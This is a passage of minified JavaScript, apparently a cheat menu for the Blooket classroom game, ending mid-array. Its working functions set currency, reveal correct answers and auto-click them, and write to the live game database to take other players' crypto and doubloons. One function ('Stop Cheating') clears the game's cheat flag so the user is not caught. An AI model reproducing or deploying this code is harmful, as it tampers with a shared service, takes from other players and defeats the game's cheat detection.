75%'></img>",a.className="chestESP",a.style.position="absolute",a.style.inset="0",a.style.display="grid",a.style.placeItems="center",a.style.pointerEvents="none",e.onclick=()=>{a.remove(),o.style.opacity=""},e.firstChild.prepend(a)})}},50))}},{name:"Max Levels",description:"Maxes out all islands and your boat",run:function(){var e=T();e.setState({islandLevels:new Array(e.state.islandLevels.length).fill(5)},e.updateBoatLevel)}},{name:"Set Doubloons",description:"Sets Doubloons",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=T();t.setState({doubloons:e}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})}},{name:"Start Heist",description:"Starts a heist on someone",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:function(t){let o=T();o.props.liveGameController.getDatabaseVal("c",function(e){e?.[t]&&o.setState({stage:"heist",heistInfo:{name:t,blook:e[t].b},prizeAmount:Math.max(1e3,e[t].d||0)})})}},{name:"Swap Doubloons",description:"Swaps Doubloons with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:async function(t){let o=T();o.props.liveGameController.getDatabaseVal("c",function(e){e?.[t]&&(o.props.liveGameController.setVal({path:"c/"+o.props.client.name,val:{b:o.props.client.blook,d:e[t].d,tat:t+":"+(e[t].d-o.state.doubloons)}}),o.setState({doubloons:e[t].d}))})}},{name:"Take Doubloons",description:"Takes Doubloons from someone",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:async function(t){let o=T();o.props.liveGameController.getDatabaseVal("c",function(e){e?.[t]&&(o.props.liveGameController.setVal({path:"c/"+o.props.client.name,val:{b:o.props.client.blook,d:o.state.doubloons+e[t].d,tat:t+":"+e[t].d}}),o.setState({doubloons:o.state.doubloons+e[t].d}))})}}],brawl:[{name:"Double Enemy XP",description:"Doubles enemy XP drop value",run:function(){var o=T().game.current.config.sceneConfig.physics.world.colliders._active.filter(e=>e.callbackContext?.toString?.()?.includes?.("dmgCd"));for(let t=0;t<o.length;t++){var a=o[t].object2;let e=a.classType.prototype.start;a.classType.prototype.start=function(){e.apply(this,arguments),this.val*=2},a.children.entries.forEach(e=>e.val*=2)}}},{name:"Half Enemy Speed",description:"Makes enemies move 2x slower",run:function(){var o=T().game.current.config.sceneConfig.physics.world.colliders._active.filter(e=>e.callbackContext?.toString?.()?.includes?.("dmgCd"));for(let t=0;t<o.length;t++){var a=o[t].object2;let e=a.classType.prototype.start;a.classType.prototype.start=function(){e.apply(this,arguments),this.speed*=.5},a.children.entries.forEach(e=>e.speed*=.5)}}},{name:"Instant Kill",description:"Sets all enemies health to 1",run:function(){var o=T().game.current.config.sceneConfig.physics.world.colliders._active.filter(e=>e.callbackContext?.toString?.()?.includes?.("dmgCd"));for(let t=0;t<o.length;t++){var a=o[t].object2;let e=a.classType.prototype.start;a.classType.prototype.start=function(){e.apply(this,arguments),this.hp=1},a.children.entries.forEach(e=>e.hp=1)}}},{name:"Invincibility",description:"Makes you invincible",run:function(){for(const e of T().game.current.config.sceneConfig.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime")||e.callbackContext?.toString().includes("dmgCd")))e.collideCallback=()=>{}}},{name:"Kill Enemies",description:"Kills all current enemies",run:function(){T().game.current.config.sceneConfig.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Magnet",description:"Pulls all xp towards you",run:function(){T().game.current.config.sceneConfig.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes("magnetTime")).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})}},{name:"Max Current Abilities",description:"Maxes out all your current abilities",run:function(){const o=T();for(var[t,a]of Object.entries(o.state.abilities))for(let e=0;e<10-a;e++)o.game.current.config.sceneConfig.game.events.emit("level up",t,o.state.abilities[t]++);o.setState({level:o.game.current.config.sceneConfig.level=[1,3,5,10,15,25,35].sort((e,t)=>Math.abs(e-o.state.level)-Math.abs(t-o.state.level))[0]-1})}},{name:"Next Level",description:"Skips to the next level",run:function(){var e=T(),{object1:t,object2:o}=e.game.current.config.sceneConfig.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes('emit("xp'));o.get().spawn(t.x,t.y,(1===(o=e.state.level)?1:o<5?5:o<10?10:o<20?20:o<30?30:o<40?40:o<50?50:100)-e.xp)}},{name:"Remove Obstacles",description:"Removes all rocks and obstacles",run:function(){T().game.current.config.sceneConfig.physics.world.bodies.entries.forEach(e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}})}},{name:"Reset Health",description:"Resets health and gives invincibility for 3 seconds",run:function(){T().game.current.events._events.respawn.fn()}}],cafe:[{name:"Max Items",description:"Maxes out items in the shop (Only usable in the shop)",run:function(){var e;"/cafe/shop"!==window.location.pathname?x("This can only be run in the shop"):(e=T()).setState({items:Object.keys(e.state.items).reduce((e,t)=>(e[t]=5,e),{})})}},{name:"Remove Customers",description:"Skips the current customers (Not usable in the shop)",run:function(){const o=T();o.state.customers.forEach((e,t)=>window.setTimeout(()=>e.blook&&o.removeCustomer(t,!0),250*t))}},{name:"Reset Abilities",description:"Resets used abilities in shop (Only usable in the shop)",run:function(){var e;"/cafe/shop"!==window.location.pathname?x("This can only be run in the shop"):(e=T()).setState({abilities:Object.keys(e.state.abilities).reduce((e,t)=>(e[t]=5,e),{})})}},{name:"Set Cash",description:"Sets cafe cash",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=T();t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/ca`,val:e})}},{name:"Stock Food",description:"Stocks all food to 99 (Not usable in the shop)",run:function(){var e;"/cafe"!==window.location.pathname?x("This can't be run in the shop"):(e=T()).setState({foods:e.state.foods.map(e=>({...e,stock:99,level:5}))})}}],crypto:[{name:"Choice ESP",description:"Shows what each choice will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e,t=document.querySelector("[class*=feedbackContainer]");t.children.length<=4&&((e=document.createElement("div")).style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=T().state.choices[0].text,t.append(e))},50))}},{name:"Password ESP",description:"Highlights the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T()["state"];if("hack"==e.stage)for(const t of document.querySelector("div[class*=buttonContainer]").children)t.innerText!=e.correctPassword&&(t.style.outlineColor="rgba(255, 64, 64, 0.8)",t.style.backgroundColor="rgba(255, 64, 64, 0.8)",t.style.textShadow="0 0 1px #f33")},50))}},{name:"Always Triple",description:"Always get triple crypto",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(e=>T().setState(e),25,{choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]}))}},{name:"Auto Guess",description:"Automatically guess the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T()["state"];if("hack"==e.stage)for(const t of document.querySelector("div[class*=buttonContainer]").children)t.innerText==e.correctPassword&&t.click()},50))}},{name:"Remove Hack",description:"Removes an attacking hack",run:function(){T().setState({hack:""})}},{name:"Set Crypto",description:"Sets crypto",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=T();t.setState({crypto:e,crypto2:e}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/cr`,val:e})}},{name:"Set Password",description:"Sets hacking password",inputs:[{name:"Custom Password",type:"string"}],run:function(e){var t=T();t.setState({password:e}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/p`,val:e})}},{name:"Steal Player's Crypto",description:"Steals all of someone's crypto",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:function(o){let a=T();a.props.liveGameController.getDatabaseVal("c",e=>{let t;e&&(t=Object.entries(e).find(e=>e[0].toLowerCase()==o.toLowerCase()))&&(e=t[1].cr,a.setState({crypto:a.state.crypto+e,crypto2:a.state.crypto+e}),a.props.liveGameController.setVal({path:"c/"+a.props.client.name,val:{b:a.props.client.blook,p:a.state.password,cr:a.state.crypto+e,tat:t[0]+":"+e}}))})}}],defense:[{name:"Earthquake",description:"Shuffles around towers",run:function(){let a=T(),n=(a.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},()=>a.eventTimeout=setTimeout(()=>a.setState({event:{},eventName:""}),6e3)),a.tiles.forEach(o=>o.forEach((e,t)=>3==e&&(o[t]=0))),[]);for(let t=0;t<a.tiles.length;t++)for(let e=0;e<a.tiles[t].length;e++)0==a.tiles[t][e]&&n.push({x:e,y:t});n.sort(()=>Math.random()-Math.random()),a.towers.forEach(e=>{var{x:t,y:o}=n.pop();e.move(t,o,a.tileSize),a.tiles[o][t]=3})}},{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){T().towers.forEach(e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6})}},{name:"Remove Ducks",description:"Removes ducks",run:function(){let{ducks:e,tiles:t}=T();e.forEach(e=>t[e.y][e.x]=0),e.length=0}},{name:"Remove Enemies",description:"Removes all the enemies",run:function(){var e=T();e.enemies=e.futureEnemies=[]}},{name:"Remove Obstacles",description:"Lets you place towers anywhere",run:function(){var e=T();e.tiles=e.tiles.map(e=>e.fill(0))}},{name:"Set Damage",description:"Sets damage",inputs:[{name:"Damage",type:"number"}],run:function(e){T().dmg=e}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){T().setState({round:e})}},{name:"Set Tokens",description:"Sets the amount of tokens you have",inputs:[{name:"Tokens",type:"number"}],run:function(e){T().setState({tokens:e})}}],defense2:[{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){T().state.towers.forEach(e=>{if(e.stats.dmg=1e6,e.stats.fireRate=50,e.stats.ghostDetect=!0,e.stats.maxTargets=1e6,e.stats.numProjectiles&&=100,e.stats.range=100,e.stats.auraBuffs)for(const t in e.stats.auraBuffs)e.stats.auraBuffs[t]*=100})}},{name:"Kill Enemies",description:"Kills all the enemies",run:function(){var e=T();e.game.current.config.sceneConfig.enemyQueue.length=0,e.game.current.config.sceneConfig.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Set Coins",description:"Sets coins",inputs:[{name:"Coins",type:"number"}],run:function(e){T().setState({coins:e})}},{name:"Set Health",description:"Sets the amount of health you have",inputs:[{name:"Health",type:"number"}],run:function(e){T().setState({health:e})}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){T().setState({round:e})}}],dinos:[{name:"Auto Choose",description:"Automatically choose the best fossil when excavating",type:"toggle",enabled:!1,data:null,rand(a,e){for(var n=[];n.length<e;){var r=Math.random();let t=0,o=null;for(let e=0;e<a.length;e++)if((t+=a[e].rate)>=r){o=a[e];break}o&&!n.includes(o)&&n.push(o)}return n},run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{try{var a=T();if("excavate"===a.state.stage){a.state.choices.length||(a.state.choices=this.rand([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3));let t=0,o=-1;for(let e=0;e<a.state.choices.length;e++){var{type:n,val:r}=a.state.choices[e],s=("fossil"==n?a.state.fossils+r*a.state.fossilMult:a.state.fossils*r)||0;s<=t&&"mult"!=n||(t=s,o=e+1)}document.querySelector('div[class*=rockRow] > div[role="button"]:nth-child('+o+")").click()}}catch{}},50))}},{name:"Rock ESP",description:"Shows what is under the rocks",type:"toggle",enabled:!1,data:null,run:(()=>{const o=["⁰","¹","²","³","⁴","⁵","⁶","⁷","⁸","⁹"],r=e=>{let t="";for(;0<e;)t=o[e% 10]+t,e=~~(e/10);return t};return function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let a=T();const e=document.querySelector('[class*="rockButton"]').parentElement.children;Array.prototype.every.call(e,e=>e.querySelector("div"))||a.setState({choices:function(a,e){for(var n=[];n.length<e;){var r=Math.random();let t=0,o;for(let e=0;e<a.length;e++)if((t+=a[e].rate)>=r){o=a[e];break}o&&!n.includes(o)&&n.push(o)}return n}([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3)},()=>{Array.prototype.forEach.call(e,(e,t)=>{var t=a.state.choices[t],o=(e.querySelector("div")&&e.querySelector("div").remove(),document.createElement("div"));o.style.color="white",o.style.fontFamily="Macondo",o.style.fontSize="1em",o.style.display="flex",o.style.justifyContent="center",o.style.transform="translateY(25px)",o.innerText="fossil"===t.type?`+${99999999<Math.round(t.val*a.state.fossilMult)?function(o){let a=o.toString();if(1e3<=o){var e=["","K","M","B","T"],n=Math.floor(Math.floor((Math.log(o)/Math.log(10)).toPrecision(14))/3);if(n<e.length){let t="";for(let e=3;1<=e;e--)if((t=parseFloat((0!=n?o/Math.pow(1e3,n):o).toPrecision(e)).toString()).replace(/[^a-zA-Z 0-9]+/g,"").length<=3)break;Number(t)% 1!=0&&(t=Number(t).toFixed(1)),a=t+e[n]}else{let e=o,t=0;for(;100<=e;)e=Math.floor(e/10),t+=1;a=e/10+" × 10"+r(t+1)}}return a}(Math.round(t.val*a.state.fossilMult)):Math.round(t.val*a.state.fossilMult)} Fossils`:`x${t.val} Fossils Per Excavation`,e.append(o)})})},50))}})()},{name:"Set Fossils",description:"Sets the amount of fossils you have",inputs:[{name:"Fossils",type:"number"}],run:function(e){var t=T();t.setState({fossils:e}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/f`,val:e})}},{name:"Set Multiplier",description:"Sets fossil multiplier",inputs:[{name:"Multiplier",type:"number"}],run:function(e){T().setState({fossilMult:e})}},{name:"Stop Cheating",description:"Undoes cheating so that you can't be caught",run:function(){var e=T();e.setState({isCheating:!1}),e.props.liveGameController.setVal({path:`c/${e.props.client.name}/ic`,val:!1})}}],doom:[{name:"Fill Deck",description:"Fills your deck with every maxed out card and artifact (Only works on towers page)",run:function(){if("/tower/map"==window.location.pathname){var e=T();e.props.tower.artifacts="Medical Kit|Fury Relic|Survival Guide|Steel Socks|Piggy Bank|Lucky Feather|Coupon|Cheese|Tasty Egg|Training Weights|Mighty Shield|Toxic Waste|Lifeline Totem|Cursed Hourglass|Band-Aid|Elder Coins|Captain's Anchor|Chess Pieces|Pink Hippo|Anorak's Wizard Cap|Dave's Doggo|Anubis' Obelisk|Farm Tractor|Magic Seedling|Just A Bone|Cozy Igloo|King's Crown|Sacred Scroll".split("|"),e.props.tower.cards="Chick,🌽|Chicken,🌽|Cow,🌽|Goat,🌽|Horse,🌽|Pig,🌽|Sheep,🌽|Duck,🌽|Dog,🌽|Cat,🐾|Rabbit,🐾|Goldfish,🐾|Hamster,🐾|Turtle,🐾|Kitten,🐾|Puppy,🐾|Bear,🌲|Moose,🌲|Fox,🌲|Raccoon,🌲|Squirrel,🌲|Owl,🌲|Hedgehog,🌲|Baby Penguin,❄️|Penguin,❄️|Arctic Fox,❄️|Snowy Owl,❄️|Polar Bear,❄️|Arctic Hare,❄️|Seal,❄️|Walrus,❄️|Tiger,🌴|Panther,🌴|Cockatoo,🌴|Orangutan,🌴|Anaconda,🌴|Macaw,🌴|Jaguar,🌴|Capuchin,🌴|Toucan,🌴|Parrot,🌴|Elf,⚔️|Witch,⚔️|Wizard,⚔️|Fairy,⚔️|Slime Monster,⚔️|Jester,⚔️|Dragon,⚔️|Unicorn,⚔️|Queen,⚔️|King,⚔️|Snow Globe,☃️|Holiday Gift,☃️|Hot Chocolate,☃️|Gingerbread Man,☃️|Gingerbread House,☃️|Holiday Wreath,☃️|Snowman,☃️|Santa Claus,☃️|Two of Spades,🏰|Eat Me,🏰|Drink Me,🏰|Alice,🏰|Queen of Hearts,🏰|Dormouse,🏰|White Rabbit,🏰|Cheshire Cat,🏰|Caterpillar,🏰|Mad Hatter,🏰|King of Hearts,🏰".split("|").map(e=>{var[e,t]=e.split(",");return{strength:20,charisma:20,wisdom:20,class:t,blook:e}});try{e.props.addTowerNode()}catch{}e.setState({showDeck:!1})}else x("You need to be on the map to run this cheat!")}},{name:"Max Cards",description:"Maxes out all the cards in your deck",run:function(){if("/tower/map"==window.location.pathname){var e=T();e.props.tower.cards.forEach(e=>{e.strength=20,e.charisma=20,e.wisdom=20});try{e.forceUpdate()}catch{}}else x("You need to be on the map to run this cheat!")}},{name:"Max Health",description:"Fills the player's health",run:function(){"/tower/battle"==window.location.pathname?T().setState({myHealth:100,myLife:100}):x("You need to be in battle to run this cheat!")}},{name:"Max Card Stats",description:"Maxes out player's current card (Only works on attribute select page)",run:function(){var e=T();"select"!==e.state.phase?x("You must be on the attribute selection page!"):e.setState({myCard:{...e.state.myCard,strength:20,charisma:20,wisdom:20}})}},{name:"Min Enemy Stats",description:"Makes the enemy card stats all 0 (Only works on attribute select page)",run:function(){var e=T();"select"!==e.state.phase?x("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})}},{name:"Set Coins",description:"Try's to set amount of tower coins you have",inputs:[{name:"Coins",type:"number"}],run:function(e){if("/tower/battle"==window.location.pathname)try{T().props.setTowerCoins(e)}catch{}else x("You need to be in battle to run this cheat!")}}],factory:[{name:"Choose Blook",description:"Gives you a blook",inputs:[{name:"Blook",type:"options",options:[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of 